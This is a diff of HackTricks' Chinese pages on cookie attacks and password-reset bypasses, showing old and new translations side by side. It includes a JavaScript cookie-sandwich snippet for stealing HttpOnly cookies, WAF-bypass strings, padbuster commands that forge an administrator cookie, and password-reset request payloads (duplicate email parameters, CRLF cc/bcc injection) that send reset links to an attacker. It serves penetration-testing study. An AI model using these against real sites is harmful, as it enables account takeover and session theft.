在这种情况下,攻击者诱使受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新 cookie,攻击者持有原始 cookie,可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
|
||||
在这种情形下,攻击者诱使受害者使用特定的 cookie 登录。如果应用在登录后未分配新的 cookie,攻击者持有原始 cookie 后即可冒充受害者。该技术依赖于受害者使用攻击者提供的 cookie 登录。
|
||||
|
||||
如果你在子域中发现了 **XSS** 或你 **控制一个子域**,请阅读:
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -121,9 +130,10 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
在这里,攻击者说服受害者使用攻击者的会话 cookie。受害者相信他们已登录自己的帐户,将无意中在攻击者的帐户上下文中执行操作。
|
||||
在这里,攻击者说服受害者使用攻击者的 session cookie。受害者认为自己登录的是自己的账户,因此会在攻击者账户的上下文中无意中执行操作。
|
||||
|
||||
如果你在子域中发现了 **XSS** 或你 **控制一个子域**,请阅读:
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -131,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
|
||||
点击上面的链接以访问解释 JWT 可能存在缺陷的页面。
|
||||
|
||||
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问有关黑客 JWT 的链接文档。
|
||||
JSON Web Tokens (JWT) 用在 cookies 中也可能存在漏洞。有关潜在缺陷及如何利用它们的深入信息,建议访问链接的 hacking JWT 文档。
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
此攻击强迫已登录用户在他们当前已认证的 Web 应用程序上执行不必要的操作。攻击者可以利用自动随每个请求发送到易受攻击站点的 cookie。
|
||||
该攻击强迫已登录的用户在其当前已认证的 web 应用上执行不想要的操作。攻击者可以利用会随对易受攻击站点的每个请求自动发送的 cookies。
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多详细信息)浏览器允许创建没有名称的 cookie,这可以通过 JavaScript 进行演示,如下所示:
|
||||
(详见[original research](https://blog.ankursundara.com/cookie-bugs/))浏览器允许创建没有名称的 cookie,下面可以通过 JavaScript 演示:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
发送的 cookie 头中的结果是 `a=v1; test value; b=v2;`。有趣的是,如果设置了一个空名称的 cookie,这允许对 cookies 进行操控,通过将空 cookie 设置为特定值,可能控制其他 cookies:
|
||||
发送的 cookie header 中的结果是 `a=v1; test value; b=v2;`。有趣的是,如果设置了一个空名称的 cookie,这可以用于操纵 cookies,可能通过将该空 cookie 设置为特定值来控制其他 cookies:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,109 +165,109 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
这导致浏览器发送一个 cookie 头,每个 web 服务器将其解释为名为 `a`,值为 `b` 的 cookie。
|
||||
这会导致浏览器发送一个 cookie header,被每个 web server 解释为名为 `a`、值为 `b` 的 cookie。
|
||||
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint Issue
|
||||
#### Chrome Bug: Unicode Surrogate Codepoint 问题
|
||||
|
||||
在 Chrome 中,如果 Unicode 代理代码点是设置的 cookie 的一部分,`document.cookie` 会变得损坏,随后返回一个空字符串:
|
||||
在 Chrome 中,如果一个 Unicode surrogate codepoint 是 set cookie 的一部分,`document.cookie` 会被破坏,随后返回空字符串:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
这导致 `document.cookie` 输出一个空字符串,表明永久性损坏。
|
||||
这会导致 `document.cookie` 输出空字符串,表示永久损坏。
|
||||
|
||||
#### 由于解析问题导致的 Cookie 走私
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 一些网络服务器,包括 Java(Jetty, TomCat, Undertow)和 Python(Zope, cherrypy, web.py, aiohttp, bottle, webob),由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 多个 web 服务器,包括来自 Java (Jetty, TomCat, Undertow) 和 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) 的服务器,因对 RFC2965 的过时支持而错误处理 cookie 字符串。它们会将双引号包裹的 cookie 值读取为单个值,即使该值包含分号(;),而分号通常应分隔键值对:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie Injection Vulnerabilities
|
||||
#### Cookie 注入漏洞
|
||||
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 服务器对 cookies 的错误解析,特别是 Undertow、Zope 以及使用 Python 的 `http.cookie.SimpleCookie` 和 `http.cookie.BaseCookie` 的服务器,创造了 cookie 注入攻击的机会。这些服务器未能正确分隔新 cookie 的开始,允许攻击者伪造 cookies:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 服务器对 cookies 的错误解析,尤其是 Undertow、Zope 以及使用 Python 的 `http.cookie.SimpleCookie` 和 `http.cookie.BaseCookie` 的实现,造成了 cookie 注入攻击的机会。这些服务器未能正确界定新 cookie 的起始位置,允许攻击者伪造 cookies:
|
||||
|
||||
- Undertow 期望在带引号的值后立即出现新 cookie,而不需要分号。
|
||||
- Zope 寻找逗号以开始解析下一个 cookie。
|
||||
- Python 的 cookie 类在空格字符上开始解析。
|
||||
- Undertow 在带引号的值之后如果没有分号,会期望紧接着是一个新的 cookie。
|
||||
- Zope 寻找逗号来开始解析下一个 cookie。
|
||||
- Python 的 cookie 类在遇到空格字符时开始解析。
|
||||
|
||||
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies,可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-` 和 `__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造影响的后端服务器时绕过授权。
|
||||
该漏洞在依赖 cookie-based CSRF protection 的 web 应用中特别危险,因为它允许攻击者注入伪造的 CSRF-token cookies,从而可能绕过安全措施。Python 对重复 cookie 名称的处理(最后出现的覆盖先前的)使问题更加严重。它也对不安全上下文中的 `__Secure-` 和 `__Host-` cookies 提出担忧,并且当 cookies 被传递给易受伪造的后端服务器时,可能导致授权绕过。
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### WAF Bypass
|
||||
#### WAF 绕过
|
||||
|
||||
根据[**这篇博客**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie),可能可以使用 cookie 属性 **`$Version=1`** 使后端使用旧逻辑解析 cookie,原因是 **RFC2109**。此外,其他值如 **`$Domain`** 和 **`$Path`** 可以用来修改后端对 cookie 的行为。
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), 可能可以利用 cookie 属性 **`$Version=1`** 使后端因遵循 **RFC2109** 而使用旧逻辑解析 cookie。此外,像 **`$Domain`** 和 **`$Path`** 这样的其它值也可用于通过 cookie 修改后端的行为。
|
||||
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
根据[**这篇博客**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique),可以使用 cookie sandwich 技术来窃取 HttpOnly cookies。以下是要求和步骤:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) 可以使用 cookie sandwich 技术来窃取 HttpOnly cookies。以下是要求和步骤:
|
||||
|
||||
- 找到一个明显无用的 **cookie 在响应中被反射的地方**
|
||||
- **创建一个名为 `$Version`** 的 cookie,值为 `1`(你可以在 JS 的 XSS 攻击中做到这一点),并使用更具体的路径以获取初始位置(一些框架如 Python 不需要这一步)
|
||||
- **创建被反射的 cookie**,其值留下一个 **开放的双引号**,并使用特定路径以便在 cookie 数据库中位于前一个 cookie (`$Version`) 之后
|
||||
- 然后,合法的 cookie 将按顺序紧随其后
|
||||
- **创建一个虚拟 cookie 来关闭双引号** 在其值内
|
||||
- 找到一个位置,明显无用的 **cookie 在响应中被反射**
|
||||
- **创建一个名为 `$Version` 的 cookie**,值为 `1`(可以在 XSS 攻击中用 JS 设置),并使用更具体的 path 以使其处于初始位置(某些框架如 python 不需要此步骤)
|
||||
- **创建被反射的 cookie**,其值留下一个 **未闭合的双引号**,并使用特定的 path,使其在 cookie db 中位于前一个(`$Version`)之后
|
||||
- 然后,合法的 cookie 会在顺序中紧随其后
|
||||
- **创建一个在其值中关闭双引号的伪造 cookie**
|
||||
|
||||
这样,受害者的 cookie 就会被困在新的 cookie 版本 1 中,并将在每次反射时被反射。
|
||||
这样受害者的 cookie 会被困在新的 cookie version 1 内部,并且每次被反射时都会被包含反射。e.g. from the post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### WAF 绕过
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
查看上一节。
|
||||
查看前一节。
|
||||
|
||||
#### 使用引号字符串编码绕过值分析
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
此解析指示取消转义 cookies 中的转义值,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,例如:
|
||||
这种解析会对 cookie 中的转义值进行反转义,因此 "\a" 会变成 "a"。这可以用来绕过 WAFS,例如:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### 绕过 cookie 名称黑名单
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
在 RFC2109 中指出 **逗号可以用作 cookie 值之间的分隔符**。并且在等号前后也可以添加 **空格和制表符**。因此,像 `$Version=1; foo=bar, abc = qux` 的 cookie 不会生成 cookie `"foo":"bar, admin = qux"`,而是生成 cookies `foo":"bar"` 和 `"admin":"qux"`。注意生成了 2 个 cookies,以及 admin 在等号前后去掉了空格。
|
||||
在 RFC2109 中指出,**逗号可用作 cookie 值之间的分隔符**。并且也可以在等号的前后添加 **空格和制表符**。因此像 `$Version=1; foo=bar, abc = qux` 这样的 cookie 并不会生成 cookie `"foo":"bar, admin = qux"`,而是生成 `foo":"bar"` 和 `"admin":"qux"` 两个 cookie。注意这是如何生成 2 个 cookie,以及 admin 的等号前后空格被移除了。
|
||||
|
||||
#### 使用 cookie 拆分绕过值分析
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
最后,不同的后门会将不同的 cookie 头中传递的不同 cookies 连接成一个字符串,如下所示:
|
||||
最后,不同的 backdoors 会将通过不同 cookie headers 传递的不同 cookies 在一个字符串中连接起来,比如:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
这可能允许绕过像这个例子中的WAF:
|
||||
这可能允许 bypass WAF,如下例所示:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### 额外的易受攻击的 Cookie 检查
|
||||
### 额外易受攻击的 Cookies 检查
|
||||
|
||||
#### **基本检查**
|
||||
#### **Basic checks**
|
||||
|
||||
- **cookie** 每次 **登录** 时都是 **相同** 的。
|
||||
- 登出并尝试使用相同的 cookie。
|
||||
- 尝试在 2 个设备(或浏览器)上使用相同的 cookie 登录同一账户。
|
||||
- 检查 cookie 中是否有任何信息并尝试修改它。
|
||||
- 尝试创建多个几乎相同用户名的账户,并检查是否可以看到相似之处。
|
||||
- 检查是否存在 "**记住我**" 选项以了解其工作原理。如果存在且可能存在漏洞,请始终使用 "**记住我**" 的 cookie,而不使用其他 cookie。
|
||||
- 检查即使在更改密码后,之前的 cookie 是否仍然有效。
|
||||
- 每次 **login** 时,**cookie** 都是**相同的**。
|
||||
- Log out 并尝试使用相同的 cookie。
|
||||
- 尝试在两台设备(或两个浏览器)上使用相同的 cookie 登录同一个账号。
|
||||
- 检查 cookie 中是否包含任何信息,并尝试修改它
|
||||
- 尝试创建多个用户名几乎相同的账号,检查是否能发现相似性。
|
||||
- 如果存在,检查 "**remember me**" 选项以了解其工作方式。如果存在且可能存在漏洞,始终仅使用 **remember me** 的 cookie,而不要使用其他 cookie。
|
||||
- 更改密码后,检查之前的 cookie 是否仍然有效。
|
||||
|
||||
#### **高级 cookie 攻击**
|
||||
#### **Advanced cookies attacks**
|
||||
|
||||
如果在登录时 cookie 保持不变(或几乎不变),这可能意味着该 cookie 与您账户的某个字段相关(可能是用户名)。然后您可以:
|
||||
如果在 login 时 cookie 保持相同(或几乎相同),这可能意味着 cookie 与你账号的某个字段有关(很可能是用户名)。那么你可以:
|
||||
|
||||
- 尝试创建许多用户名非常 **相似** 的 **账户**,并尝试 **猜测** 算法的工作原理。
|
||||
- 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将是属于 "**admin**" 的。
|
||||
- 尝试 **Padding** **Oracle**(您可以解密 cookie 的内容)。使用 **padbuster**。
|
||||
- 尝试创建大量用户名非常 **similar** 的账号,尝试 **guess** 算法如何工作。
|
||||
- 尝试 **bruteforce the username**。如果 cookie 仅作为你用户名的认证方法保存,那么你可以创建用户名为 "**Bmin**" 的账号,并对 cookie 的每一位 **bruteforce**,因为你尝试的某个 cookie 将属于 "**admin**"。
|
||||
- 尝试 **Padding Oracle**(你可以解密 cookie 的内容)。使用 **padbuster**。
|
||||
|
||||
**Padding Oracle - Padbuster 示例**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -267,43 +277,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(即无效的条件)。
|
||||
Padbuster 将进行多次尝试,并会询问哪个条件是错误条件(即不合法的那个)。
|
||||
|
||||
然后它将开始解密 cookie(可能需要几分钟)。
|
||||
然后它会开始 decrypting the cookie(可能需要几分钟)
|
||||
|
||||
如果攻击成功执行,则您可以尝试加密您选择的字符串。例如,如果您想要 **encrypt** **user=administrator**。
|
||||
如果攻击已成功执行,那么你可以尝试对你选择的字符串进行 encrypt。例如,如果你想 **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
此执行将正确加密和编码包含字符串 **user=administrator** 的 cookie。
|
||||
此操作会生成一个正确加密并编码的 cookie,内部包含字符串 **user=administrator**。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
也许一个 cookie 可以有某个值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV,这种完整性检查可能会受到攻击。
|
||||
可能 cookie 的某个值会使用 CBC 进行签名。然后,该值的完整性就是使用相同值通过 CBC 创建的签名。由于通常建议将 IV 设为全零向量,这种完整性校验可能存在漏洞。
|
||||
|
||||
**攻击**
|
||||
|
||||
1. 获取用户名 **administ** 的签名 **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**
|
||||
1. 获取用户名 **administ** 的签名 = **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'**(**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 的有效签名)
|
||||
|
||||
**ECB**
|
||||
|
||||
如果 cookie 使用 ECB 加密,则可能会受到攻击。\
|
||||
当您登录时,您收到的 cookie 必须始终相同。
|
||||
如果 cookie 使用 ECB 加密,则可能存在漏洞。\
|
||||
登录时你收到的 cookie 应该始终相同。
|
||||
|
||||
**如何检测和攻击:**
|
||||
**检测与攻击方法:**
|
||||
|
||||
创建 2 个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某些模式。
|
||||
创建两个几乎相同的数据的用户(username、password、email 等),并尝试在给定的 cookie 中发现某些模式
|
||||
|
||||
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
|
||||
创建一个用户,例如 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",并检查 cookie 中是否存在任何模式(由于 ECB 使用相同密钥对每个 block 进行加密,如果 username 被加密,相同的加密字节可能会出现)。
|
||||
|
||||
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
|
||||
应该会出现一个模式(与所用 block 的大小一致)。所以,知道一串 "a" 是如何被加密后,你可以创建一个用户名: "a"\*(size of the block)+"admin"。然后,你可以从 cookie 中删除一个 "a" 块的加密模式。这样你就会得到用户名为 "admin" 的 cookie。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,180 +1,181 @@
|
||||
# 重置/忘记密码绕过
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **通过引荐者泄露密码重置令牌**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- 如果密码重置令牌包含在URL中,HTTP referer头可能会泄露该令牌。这可能发生在用户请求密码重置后点击第三方网站链接时。
|
||||
- **影响**:通过跨站请求伪造(CSRF)攻击可能导致账户接管。
|
||||
- **利用**:要检查密码重置令牌是否在referer头中泄露,**请求密码重置**到您的电子邮件地址,并**点击提供的重置链接**。**不要立即更改您的密码**。相反,**在使用Burp Suite拦截请求时,导航到第三方网站**(如Facebook或Twitter)。检查请求以查看**referer头是否包含密码重置令牌**,因为这可能会将敏感信息暴露给第三方。
|
||||
- **参考**:
|
||||
- [HackerOne报告342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne报告272379](https://hackerone.com/reports/272379)
|
||||
- [密码重置令牌泄露文章](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||
- **Impact**:可能通过 Cross-Site Request Forgery (CSRF) 攻击导致账户接管。
|
||||
- **Exploitation**:要检查密码重置令牌是否正在在 referer header 中 leaking,向你的邮箱请求密码重置并点击提供的重置链接。**不要立即更改你的密码**。相反,在使用 **Burp Suite 拦截请求** 的同时,**访问第三方网站**(例如 Facebook 或 Twitter)。检查请求,查看 **referer header 是否包含密码重置令牌**,因为这可能会将敏感信息暴露给第三方。
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **密码重置中毒**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- 攻击者可能在密码重置请求中操纵Host头,将重置链接指向恶意网站。
|
||||
- **影响**:通过将重置令牌泄露给攻击者,可能导致账户接管。
|
||||
- **缓解步骤**:
|
||||
- 验证Host头是否在允许的域名白名单中。
|
||||
- 使用安全的服务器端方法生成绝对URL。
|
||||
- **补丁**:使用`$_SERVER['SERVER_NAME']`构造密码重置URL,而不是`$_SERVER['HTTP_HOST']`。
|
||||
- **参考**:
|
||||
- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- 攻击者可能会在密码重置请求期间操纵 Host header,使重置链接指向恶意站点。
|
||||
- **Impact**:这可能导致账户接管,因重置令牌被 leaking 给攻击者。
|
||||
- **Mitigation Steps**:
|
||||
- 验证 Host header 是否在允许域名的白名单中。
|
||||
- 使用安全的服务器端方法生成绝对 URL。
|
||||
- **Patch**:使用 `$_SERVER['SERVER_NAME']` 来构建密码重置 URL,而不是 `$_SERVER['HTTP_HOST']`。
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **通过操纵电子邮件参数重置密码**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
攻击者可以通过添加额外的电子邮件参数来操纵密码重置请求,以转移重置链接。
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
|
||||
- 使用&将攻击者电子邮件作为第二个参数添加
|
||||
- 添加攻击者邮箱作为第二个参数,使用 &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- 使用 %20 将攻击者电子邮件作为第二个参数添加
|
||||
- 将 attacker email 添加为第二个参数,使用 %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- 使用 | 将攻击者电子邮件作为第二个参数添加
|
||||
- 将 attacker email 作为第二个参数,使用 | 分隔
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- 使用抄送(cc)将攻击者电子邮件作为第二个参数添加
|
||||
- 添加攻击者邮箱作为第二个参数,使用 cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- 使用bcc将攻击者电子邮件作为第二个参数添加
|
||||
将 attacker 邮箱作为第二个参数,通过 bcc 添加。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- 使用 , 将攻击者电子邮件作为第二个参数添加。
|
||||
- 添加攻击者邮箱作为第二个参数,使用 ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- 将攻击者电子邮件作为 JSON 数组中的第二个参数添加
|
||||
- 将攻击者邮箱作为 json array 的第二个参数添加
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **缓解步骤**:
|
||||
- 服务器端正确解析和验证电子邮件参数。
|
||||
- 使用预处理语句或参数化查询以防止注入攻击。
|
||||
- **参考文献**:
|
||||
- **缓解步骤**:
|
||||
- 在服务器端正确解析并验证 email 参数。
|
||||
- 使用 prepared statements 或 parameterized queries 来防止 injection attacks。
|
||||
- **参考资料**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **通过API参数更改任何用户的电子邮件和密码**
|
||||
## **通过 API 参数更改任意用户的 email 和 password**
|
||||
|
||||
- 攻击者可以在API请求中修改电子邮件和密码参数以更改账户凭据。
|
||||
- 攻击者可以在 API 请求中修改 email 和 password 参数以更改账户凭证。
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **缓解步骤**:
|
||||
- **缓解措施**:
|
||||
- 确保严格的参数验证和身份验证检查。
|
||||
- 实施强大的日志记录和监控,以检测和响应可疑活动。
|
||||
- **参考**:
|
||||
- [通过API参数操纵进行完整账户接管](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- 实施可靠的日志记录和监控,以检测并响应可疑活动。
|
||||
- **参考**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **无速率限制:电子邮件轰炸**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- 密码重置请求缺乏速率限制可能导致电子邮件轰炸,使用户被重置电子邮件淹没。
|
||||
- **缓解步骤**:
|
||||
- 基于IP地址或用户账户实施速率限制。
|
||||
- 使用CAPTCHA挑战以防止自动滥用。
|
||||
- **参考**:
|
||||
- [HackerOne报告280534](https://hackerone.com/reports/280534)
|
||||
- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
|
||||
- **缓解措施**:
|
||||
- Implement rate limiting based on IP address or user account.
|
||||
- Use CAPTCHA challenges to prevent automated abuse.
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **找出密码重置令牌是如何生成的**
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- 理解令牌生成背后的模式或方法可以导致预测或暴力破解令牌。一些选项:
|
||||
- 基于时间戳
|
||||
- 基于用户ID
|
||||
- 基于用户的电子邮件
|
||||
- 基于名字和姓氏
|
||||
- 基于出生日期
|
||||
- 基于加密
|
||||
- **缓解步骤**:
|
||||
- 使用强大的加密方法生成令牌。
|
||||
- 确保足够的随机性和长度以防止可预测性。
|
||||
- **工具**:使用Burp Sequencer分析令牌的随机性。
|
||||
- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **缓解措施**:
|
||||
- Use strong, cryptographic methods for token generation.
|
||||
- Ensure sufficient randomness and length to prevent predictability.
|
||||
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
|
||||
|
||||
## **可猜测的UUID**
|
||||
## **Guessable UUID**
|
||||
|
||||
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
|
||||
|
||||
- 如果UUID(版本1)是可猜测或可预测的,攻击者可能会暴力破解它们以生成有效的重置令牌。检查:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **缓解步骤**:
|
||||
- 使用GUID版本4以获得随机性,或对其他版本实施额外的安全措施。
|
||||
